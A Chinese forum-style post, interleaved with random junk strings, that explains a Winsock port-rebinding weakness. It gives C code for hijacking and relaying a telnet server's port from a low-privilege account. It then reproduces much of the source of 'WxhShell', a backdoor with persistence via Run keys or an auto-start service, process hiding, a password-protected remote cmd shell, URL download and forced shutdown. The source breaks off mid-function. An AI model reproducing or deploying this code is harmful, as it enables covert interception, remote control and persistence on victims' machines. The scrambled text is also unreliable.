在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W+wA_s2&D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%t=kdc0=_ +i ?S saddr.sin_family = AF_INET;
+=Jir1SLV ,&PE6hn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!1T\cS#1% MfO:m[s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d4:`@* CQ7{1,?2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
G2 ]H6G$M 9Gy 这意味着什么?意味着可以进行如下的攻击:
+:=(#Y (YBMsh 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
onCKI," [AH6~-\ x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7 J^rv9i4 mvW% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w&$d* E rt3qdk5U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#
?1Sm/5k` 3uU]kD^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*b *G2f^ e+v({^k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n8=5-7UT uY_SU-v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m p<1yY] <99M@ cF #include
^L1L=c;, #include
D.D$#O_n.S #include
76tdJ!4Z #include
\y6OUM2y DWORD WINAPI ClientThread(LPVOID lpParam);
`.x$7!zLC int main()
.Xm(D>>k {
!f>d_RG WORD wVersionRequested;
Y^Nuz/ DWORD ret;
$p!yhn7 WSADATA wsaData;
}7fZ[J3 BOOL val;
^
PI 5L SOCKADDR_IN saddr;
~vLW.: SOCKADDR_IN scaddr;
dpQG[vXe int err;
{ pu85'DV SOCKET s;
J{ [n?/A{ SOCKET sc;
7e7 M@8+4 int caddsize;
=/<LSeLxH HANDLE mt;
1}hIW":3Sr DWORD tid;
4%WzIzRb wVersionRequested = MAKEWORD( 2, 2 );
~/NKw: err = WSAStartup( wVersionRequested, &wsaData );
ZZQG?("S' if ( err != 0 ) {
YDC mI@ printf("error!WSAStartup failed!\n");
KKA~#iCk return -1;
|r
ue=QZ }
Vc^HVyAx@n saddr.sin_family = AF_INET;
_0+0#! J! jR=s#Xz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>56>*BHD $'W}aER saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&aM7T_h8 saddr.sin_port = htons(23);
ly% F."v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ob+euCuJ {
!8 &=y printf("error!socket failed!\n");
T5urZq*R return -1;
86@c't@ }
3mPjpm val = TRUE;
) 9, //SO_REUSEADDR选项就是可以实现端口重绑定的
ys_`e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l4T7'U>` {
FZreP.2)! printf("error!setsockopt failed!\n");
/TS=7J# return -1;
OY[e.N
t& }
r&-m=Kk$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9a'-Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,mRyQS'F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Bq/:Nd[y 7+./zN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j4=(H:c~E {
3+>G#W~ ret=GetLastError();
yH][(o=2 printf("error!bind failed!\n");
AM=z`0so return -1;
J0zn- }
+C7 ~b~ % listen(s,2);
NM)k/?fA while(1)
**69rN {
3_JCU05H} caddsize = sizeof(scaddr);
TW !&p"Us+ //接受连接请求
hdTzCfeZ5@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>-&R47G if(sc!=INVALID_SOCKET)
E.1J2Ne {
rD>*j~_+P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!w
BJ,&E if(mt==NULL)
F~ Lx|)0M {
(EPsTox printf("Thread Creat Failed!\n");
JNcYJ[wqv break;
j}b\Z9)! }
j*xV!DqC }
`y#UJYXQE CloseHandle(mt);
vb9OonE2 }
1+?^0%AC closesocket(s);
hsu{ey p WSACleanup();
54zlnM$ return 0;
q7u'_R,; }
-i-? .: DWORD WINAPI ClientThread(LPVOID lpParam)
Z{'i F {
@F(mi1QO SOCKET ss = (SOCKET)lpParam;
X.`~>`8 SOCKET sc;
1;<R#>&,* unsigned char buf[4096];
x@8a'' SOCKADDR_IN saddr;
KZ~*Nz+H2 long num;
G
"P4- DWORD val;
f6$b
s+oP DWORD ret;
OtFh,}E //如果是隐藏端口应用的话,可以在此处加一些判断
zbJT&@z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&/,|+U[ saddr.sin_family = AF_INET;
\9-"M;R.d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!!Z?[rj saddr.sin_port = htons(23);
dz Zb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`~eUee3b.~ {
GfC5z n> printf("error!socket failed!\n");
6'xsG?{JY return -1;
j65<8svl }
I%urz!CNE* val = 100;
FLEo*9u>b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+SJd@y@fR {
[9:9Ql_h ret = GetLastError();
4tY ss return -1;
W`^@)|9^) }
]l8^KX' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tBpC: SG {
-_$$Te ret = GetLastError();
(5\NB0 return -1;
7g_]mG[6 }
P;4w*((} ~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w&ak"GgV {
w3$ printf("error!socket connect failed!\n");
b+Br=Fv"T closesocket(sc);
utr:J closesocket(ss);
Y))NK'B5 return -1;
^j7azn }
*2jK#9"MP while(1)
r&FDEBh {
6-O_\Cq8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bJs9X/E //如果是嗅探内容的话,可以再此处进行内容分析和记录
$ `7^+8vHV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_YRE (YZ/ num = recv(ss,buf,4096,0);
43=,yz2Ef if(num>0)
$ MC)}l send(sc,buf,num,0);
5atYOep else if(num==0)
8_N]e'WUh break;
.1LCXW= num = recv(sc,buf,4096,0);
$8BPlqBIZ if(num>0)
W%\C_ send(ss,buf,num,0);
r7qh>JrO else if(num==0)
ElUEteZ break;
6uR^%W8] }
%j7XEh<' closesocket(ss);
@V!r"Bkg. closesocket(sc);
bV"G~3COy return 0 ;
5 (A5Y-B }
<I;2{*QI2 ZRYEqSm !F?XLekTi ==========================================================
}\C-}
Q %iw3oh&Fkm 下边附上一个代码,,WXhSHELL
9?k_y ZV }u1O#L}F5 ==========================================================
Vx-7\NB ^aW
Z!gi #include "stdafx.h"
t45Z@hmcW 0iJue& #include <stdio.h>
|ZQ@fmvL/p #include <string.h>
tor!Dl@Mo #include <windows.h>
aM;W$1h #include <winsock2.h>
A~mum+[5 #include <winsvc.h>
#Skv(IL #include <urlmon.h>
H*r>Y 4"Hye&O #pragma comment (lib, "Ws2_32.lib")
M8u<qj&<O #pragma comment (lib, "urlmon.lib")
N?.%?0l 9+pmS#>_ #define MAX_USER 100 // 最大客户端连接数
IH"6? 9nd #define BUF_SOCK 200 // sock buffer
Nv"EV;$ #define KEY_BUFF 255 // 输入 buffer
.aflsUD yxc=Z0~1 #define REBOOT 0 // 重启
`He,p - #define SHUTDOWN 1 // 关机
$cZUM}@ [pM V?a[ #define DEF_PORT 5000 // 监听端口
zen*PeIrA^ [
Fz`D/ #define REG_LEN 16 // 注册表键长度
ZzX~&95G #define SVC_LEN 80 // NT服务名长度
n?c]M twx[s$O'b // 从dll定义API
&
GreN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
dh $bfAb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h?pkE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3g6j?yYqb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
()H:Uv M=t ^I+)o1%F // wxhshell配置信息
*2GEnAZb7n struct WSCFG {
+}a ]GTBgA int ws_port; // 监听端口
{*ob_oc char ws_passstr[REG_LEN]; // 口令
BX yo int ws_autoins; // 安装标记, 1=yes 0=no
8}(]]ayl char ws_regname[REG_LEN]; // 注册表键名
oqeSG.1 char ws_svcname[REG_LEN]; // 服务名
}C|dyyr char ws_svcdisp[SVC_LEN]; // 服务显示名
)Dz+X9;g+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
F,'exuZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b3VS\[p int ws_downexe; // 下载执行标记, 1=yes 0=no
-neKuj
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
uAWM\? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Zcc9e03 `Ry]y"K };
p
l&Muv 5v6Eii: // default Wxhshell configuration
p*P)KP struct WSCFG wscfg={DEF_PORT,
1u9LdkhnY "xuhuanlingzhe",
'f?$"U JF 1,
i _%Q`i "Wxhshell",
s@7H1)U "Wxhshell",
)sT> i "WxhShell Service",
J.|+ID+ "Wrsky Windows CmdShell Service",
@|tL8? "Please Input Your Password: ",
jt.3P 1,
>orK';r< "
http://www.wrsky.com/wxhshell.exe",
a.zpp'cEb "Wxhshell.exe"
%x}
O1yV };
z+>}RT] WH\))y- // 消息定义模块
VzKW:St char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
10U9ZC char *msg_ws_prompt="\n\r? for help\n\r#>";
Qg<(u?7N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.?hP7;hhI char *msg_ws_ext="\n\rExit.";
1&U>,;]* char *msg_ws_end="\n\rQuit.";
IOV(seEY char *msg_ws_boot="\n\rReboot...";
Y"wUt & char *msg_ws_poff="\n\rShutdown...";
AoI/n4T^ char *msg_ws_down="\n\rSave to ";
xoR;=ph # m *J& char *msg_ws_err="\n\rErr!";
:dqn h char *msg_ws_ok="\n\rOK!";
=i7`ek ziCHjqT char ExeFile[MAX_PATH];
,YMp<C int nUser = 0;
aT$9; HANDLE handles[MAX_USER];
Xqm::1(-( int OsIsNt;
.>IhN 5 MHC^8VL SERVICE_STATUS serviceStatus;
wg]j+r@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
yYH 0v7vx+ |x-S&- // 函数声明
Mwr"~?\\ int Install(void);
HF.^ysI int Uninstall(void);
82DmG@"s2 int DownloadFile(char *sURL, SOCKET wsh);
>lIk9| int Boot(int flag);
I=NZokfS void HideProc(void);
Zc`BiLzrIG int GetOsVer(void);
n .RhxgC< int Wxhshell(SOCKET wsl);
,5*eX void TalkWithClient(void *cs);
^:Gie int CmdShell(SOCKET sock);
E 0?iXSJ int StartFromService(void);
6<ZkJ:= int StartWxhshell(LPSTR lpCmdLine);
7[}xP#Z ?n
ZY) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]h5Yg/sms VOID WINAPI NTServiceHandler( DWORD fdwControl );
oczN5YSt Pw61_ZZ4B\ // 数据结构和表定义
& J2M1z% SERVICE_TABLE_ENTRY DispatchTable[] =
~'CE[G5 {
TBT:/Vfun {wscfg.ws_svcname, NTServiceMain},
k|H: {NULL, NULL}
fL=~NC" };
y;o^- O ]3l 9:| // 自我安装
vTx2E6 int Install(void)
] A+?EE2/ {
0PrLuejz char svExeFile[MAX_PATH];
HEM9E&rL HKEY key;
^i}
L-QR strcpy(svExeFile,ExeFile);
l|k`YC x pj?f?.^ // 如果是win9x系统,修改注册表设为自启动
F ;2w1S^ if(!OsIsNt) {
FK5<6n,U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,~]tg77 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MfWyc_ RegCloseKey(key);
aD$v2)RR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?qWfup\S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G%W8S
\ RegCloseKey(key);
'GS"8w~j return 0;
y3o25}" }
io{@^1ab }
8Y7Q+p|O }
>^*+iEe else {
0p}D(m2B 2
Cv4=S // 如果是NT以上系统,安装为系统服务
?1K#dC52# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vbC\?\_ if (schSCManager!=0)
W1|0Yd ;P {
K#=*9S SC_HANDLE schService = CreateService
EH!
q=&d (
+2&@x=xy schSCManager,
a+Kj1ix wscfg.ws_svcname,
`yH<E+ wscfg.ws_svcdisp,
tAv@R&W, SERVICE_ALL_ACCESS,
e(GP^oK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9E"vN SERVICE_AUTO_START,
Ke2ccN SERVICE_ERROR_NORMAL,
[VsKa\9u svExeFile,
0,89H4 NULL,
V#S9H!hm$ NULL,
\(^nSy&N NULL,
m;GbLncA NULL,
pw)||Q NULL
a@UZb );
+
|#O@k if (schService!=0)
*&^:T~|=! {
\Ani}qQ%| CloseServiceHandle(schService);
|m^k_d!d CloseServiceHandle(schSCManager);
G(G{RAk> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~5CBEIF(NS strcat(svExeFile,wscfg.ws_svcname);
ZOeQ+j)|I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
65#'\+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4hTMbS_; RegCloseKey(key);
6'!4jh return 0;
4;0lvDD }
iiS-9>]/ }
]);%wy{Ho CloseServiceHandle(schSCManager);
Hn%xDJ' }
Vt".%d/`7 }
+~mA}psr 3 I@}my1 return 1;
O06"bi5Y }
]dGw2y lTV'J?8!-a // 自我卸载
\%f q int Uninstall(void)
uF9C-H@: {
06c>$1-? HKEY key;
OHb[qX\ 3W3ZjdV+ if(!OsIsNt) {
?"i}^B`* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j/_s"}m{ RegDeleteValue(key,wscfg.ws_regname);
LHkc7X$ RegCloseKey(key);
jU9$Ehg
I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
34%RZG_o' RegDeleteValue(key,wscfg.ws_regname);
3c]b)n~Y RegCloseKey(key);
gT0BkwIV return 0;
[BqHx5Xz( }
z8SmkL }
e%@~MQ- }
6/r)y+H else {
+#lM ,D]QxbwZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pgE}NlW if (schSCManager!=0)
-ZRO@&tMD {
N343qU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Py@wJEo if (schService!=0)
gy 3i+J {
a1t4Dd if(DeleteService(schService)!=0) {
x7jC)M<k0 CloseServiceHandle(schService);
X.f>'0i CloseServiceHandle(schSCManager);
O&4SCVZp return 0;
-bT)]gA2 }
%yW3VL CloseServiceHandle(schService);
D(AXk8Vub }
g!?:Ye`5 CloseServiceHandle(schSCManager);
?fUlgQ}N }
@` 1Ds }
*E/`KUG] rvbLyv;~ return 1;
@|63K)Xy }
vY${;#~| R`DKu= // 从指定url下载文件
[<g?WPCcC int DownloadFile(char *sURL, SOCKET wsh)
u'|4?"uz {
||hb~%JK6 HRESULT hr;
PT=2@kH char seps[]= "/";
\{Z;:,S char *token;
pb
~uE char *file;
]*
F\"C@ char myURL[MAX_PATH];
?'@8kpb char myFILE[MAX_PATH];
5q;GIw^L
UEM(@zD] strcpy(myURL,sURL);
X(]WVCu token=strtok(myURL,seps);
_wkVwPr while(token!=NULL)
|)b6>.^ {
%l}D. ml file=token;
f]`#J%P token=strtok(NULL,seps);
TMlP*d# }
^S UPi b&~4t/Vq GetCurrentDirectory(MAX_PATH,myFILE);
'_w=k4 strcat(myFILE, "\\");
b[t> te strcat(myFILE, file);
r@+ri1c send(wsh,myFILE,strlen(myFILE),0);
OWjk=u2Lz send(wsh,"...",3,0);
`e}bdj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ftvG\T f if(hr==S_OK)
~sl{ |E return 0;
=vDEfO/T else
=BSzsH7 return 1;
"a
ueL/dgN F)&@P-9+ }
\>:CvTzF x(etb<!jd // 系统电源模块
#{?PbBE} int Boot(int flag)
dJ2Hr;Lc {
>/kcdWl HANDLE hToken;
uxtWybv TOKEN_PRIVILEGES tkp;
Q[vJqkgT wRcAX%n& if(OsIsNt) {
CFzNwgv]z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Rzbj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
s>;v!^N?u tkp.PrivilegeCount = 1;
4zev^FR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bJRN;g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
66/3|83Z if(flag==REBOOT) {
8+a4>8[M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s \;" X return 0;
\`oT#|0 }
0B@SN)<kH else {
/y _O4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
J&[@}$N return 0;
,0*&OXt }
t2F_uCr }
4
N H else {
A+SE91m if(flag==REBOOT) {
Sp@^XmX(S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[ oL.+ return 0;
h U`wVy }
Gn|F`F else {
1crnmJ!C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s} UjGFP return 0;
UDL!43K }
$@^pAP }
i]Fp..`v~ Q1O}ly}JS return 1;
MBt9SXM }
UR7g`/ BSYzC9h` // win9x进程隐藏模块
9N9L}k b void HideProc(void)
S{PJUAu {
{["\.ZS| ?u/@PR\D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pP*zq"o if ( hKernel != NULL )
C\/xl#e<@ {
co~Pyj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"x=f=; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!/}O>v~o FreeLibrary(hKernel);
=Z P%mW&;} }
WM| dKF
|uqf:V`z: return;
#w,Dwy }
7ePqmB<. 0vEoGgY0*: // 获取操作系统版本
vy0X_DPCr int GetOsVer(void)
l)Pu2!Ic {
1<BX]-/tP OSVERSIONINFO winfo;
DF1I[b=] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
SH_(rQby GetVersionEx(&winfo);
zm]aU`j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]w;rfn9D return 1;
v1BDP<qU2 else
jT8#C=a7 return 0;
wF <n= }
XWA:J^ D2](da:]8) // 客户端句柄模块
]Y2RqXA* int Wxhshell(SOCKET wsl)
g#F?!i-[F {
2"Ecd SOCKET wsh;
p[hZ@f(z struct sockaddr_in client;
b%<9Sn
DWORD myID;
D B-l$rj lDOCmdt@N while(nUser<MAX_USER)
:p]'32FA! {
gCioq. int nSize=sizeof(client);
lV1G<qP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[`^a=:* if(wsh==INVALID_SOCKET) return 1;
,_Z5m; zA$k0p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N['qgO/ if(handles[nUser]==0)
&>%T^Y|J4 closesocket(wsh);
Sz^
veh? else
@\|_ nUser++;
R_sr?V|" }
6^]!gR#B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E"+QJ~! Svondc
4 return 0;
RRRCS]y7$t }
4*Q#0`um ^.1c{0Y^0 // 关闭 socket
7on.4/;M void CloseIt(SOCKET wsh)
J4Nln {
AtdlZ closesocket(wsh);
2] zq#6ix nUser--;
A D1=[I3 ExitThread(0);
9[G[$c }
x|mqL-Q f <_3b1VhZ // 客户端请求句柄
|&FkksNAl\ void TalkWithClient(void *cs)
wQe_vY {
Pa~)"u8 W#KpPDgZE SOCKET wsh=(SOCKET)cs;
`Jzp Sw char pwd[SVC_LEN];
*MJX? char cmd[KEY_BUFF];
_59huC. char chr[1];
g=QDu7Ux int i,j;
c|M6<} 8g&?
Cc while (nUser < MAX_USER) {
kKAP"'v !q9+9 *6 if(wscfg.ws_passstr) {
2
dAB-d:k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~kZ G{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zx-81fx+k //ZeroMemory(pwd,KEY_BUFF);
A<1hOSCz\ i=0;
n}'=yItVL1 while(i<SVC_LEN) {
vU767/ 95YL]3V // 设置超时
%]>KvoA fd_set FdRead;
pgOQIzu struct timeval TimeOut;
KO]T<R
h< FD_ZERO(&FdRead);
73xAG1D$r FD_SET(wsh,&FdRead);
G*-b}f TimeOut.tv_sec=8;
T;,cN7>>O TimeOut.tv_usec=0;
F )W: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!{^PO<9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
S4G^z}{_ *QLI3B9V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b*`lk2oMa/ pwd
=chr[0]; ZaL.!g
if(chr[0]==0xd || chr[0]==0xa) { ch0{+g&
pwd=0; t0IEaj75c
break; <-[wd.M_
} pov)Z):}G<
i++; gLy&esJl1
} m06ALD_
{buo^kgj`]
// 如果是非法用户,关闭 socket @}@Z8$G^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O*0l+mop
} ~g5[$r-u-u
6"~P/\jP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F;+|sMrq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ Wd9I;hWv
~},=OF-b
while(1) {
k~jP'aD
h"_MA_]~
ZeroMemory(cmd,KEY_BUFF); dHv68*^\'
JwAYG5W
// 自动支持客户端 telnet标准 f}x.jxY?
j=0; H^s<{E0<
while(j<KEY_BUFF) { qYlhlHD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T~Gvp0r}h
cmd[j]=chr[0]; U-R6xxPZ
if(chr[0]==0xa || chr[0]==0xd) { `QyO`y=?[Y
cmd[j]=0; {&\jW!&n
break; =5kY6%E7c
} Mz~M3$$9n
j++; UE$UR#T'w
} Q0&H#xgt
cVv;Jn
// 下载文件 p$PKa.Y3
if(strstr(cmd,"http://")) { X)7x<?DAy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); YbTxn="_
if(DownloadFile(cmd,wsh)) H;YP8MoQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i*#-I3
else Yy)tmq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `/EGyN6X
} +\F'iAs@
else { A^)?Wt%*
0V'nK V"|
switch(cmd[0]) { Mf&{7%
(]Y 5eM
// 帮助 rvXWcu -"
case '?': { K95p>E`9e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
">y%iE
break; [Pq}p0cD
} A?-oL='
// 安装 J6L K
case 'i': { DX"xy
if(Install()) p2DrEId
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ys6"V|31
else o1FF"tLkN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gx\&_)w N
break; Il=
W,/y
} 7z!tKs"TMT
// 卸载 wnM9('\
case 'r': { %l,,_:7{
if(Uninstall()) B[Zjfc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3c l~
else }>VG~u8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,PWgH$+
break; v"OY 1<8
} u%$Zqee
// 显示 wxhshell 所在路径 1oN^HG6O
case 'p': { ENGg
~D
char svExeFile[MAX_PATH]; ;9#Z@]p
strcpy(svExeFile,"\n\r"); ev#;t@^
strcat(svExeFile,ExeFile); @+ BrgZv`
send(wsh,svExeFile,strlen(svExeFile),0); ?q;Fp
break; .zn;:M#T
} Db;G@#x
// 重启 YRh BRE
case 'b': { Y6Lf@}2(i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]8f ms(
if(Boot(REBOOT)) +(C6#R<LI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B,TB3
{
else { Cb9;QzBVA#
closesocket(wsh); p' +
ExitThread(0); ds?v'|
} lJE93rXU
break; 59O?_F9
} )0Me?BRp
// 关机 \ aHVs
case 'd': { U2ZD]q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
\9/ b!A
if(Boot(SHUTDOWN)) Lz:(6`S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); { Fawt:
else { ,)iKH]lY=
closesocket(wsh); IGtl\b=
ExitThread(0); .h>8@5/s
} IuNiEtKx
break; r9
!Tug*>m
}
jz5qQt]^
// 获取shell hA33K #bC
case 's': { *g[^.Sg
CmdShell(wsh); /Rg*~Ers
*
closesocket(wsh); > 3&: 5
ExitThread(0); o9F/y=.r=
break; K00
87}H
} s;64N'HH
// 退出 /C4^<k\
case 'x': { v7DE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ B5gR
CloseIt(wsh); zJ)*Z,7
break; Dg}
Ka7H
} p~9vP)74u
// 离开 OnK~3j
case 'q': { #3_*]8K.R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); XwlbJ=mf
closesocket(wsh); aEWWFN
WSACleanup(); 4( 1(e
exit(1); ;~\MZYs3m
break; [&nh5|f
} 9Iz%ht
} hb^7oq"a
} t| 'N+-T3
`$B3X
// 提示信息 :@!ic<p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l?Fb ='#
} @)-$kk*
} y^}6!>Ou:
5<ux6,E1{
return; j'BMAn ?
} ##EYH1P]
hYM@?/(q
// shell模块句柄 Xa[?^P
int CmdShell(SOCKET sock) ;\\@q"n%<
{ Vgyew9>E
STARTUPINFO si; 6p?JAT5
ZeroMemory(&si,sizeof(si)); \@1=stK:F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YJl("MZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 61jI
PROCESS_INFORMATION ProcessInfo; [fKUyIY_
char cmdline[]="cmd"; !V,{_(LT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I=.z+#Y
return 0; 8G5m{XTS(
} hDp6YV,q
N~NQ6:R[
// 自身启动模式 =?s3iP
int StartFromService(void) Jte#ZnP
{ vMs$ceq
typedef struct '8T=~R6
{ E4W zU
DWORD ExitStatus; LbZ:&/t^y8
DWORD PebBaseAddress; w&B#goS
DWORD AffinityMask; <1.A=_
M
DWORD BasePriority; ul ER1\W
ULONG UniqueProcessId; "eWYv3z~-
ULONG InheritedFromUniqueProcessId; &_gTD
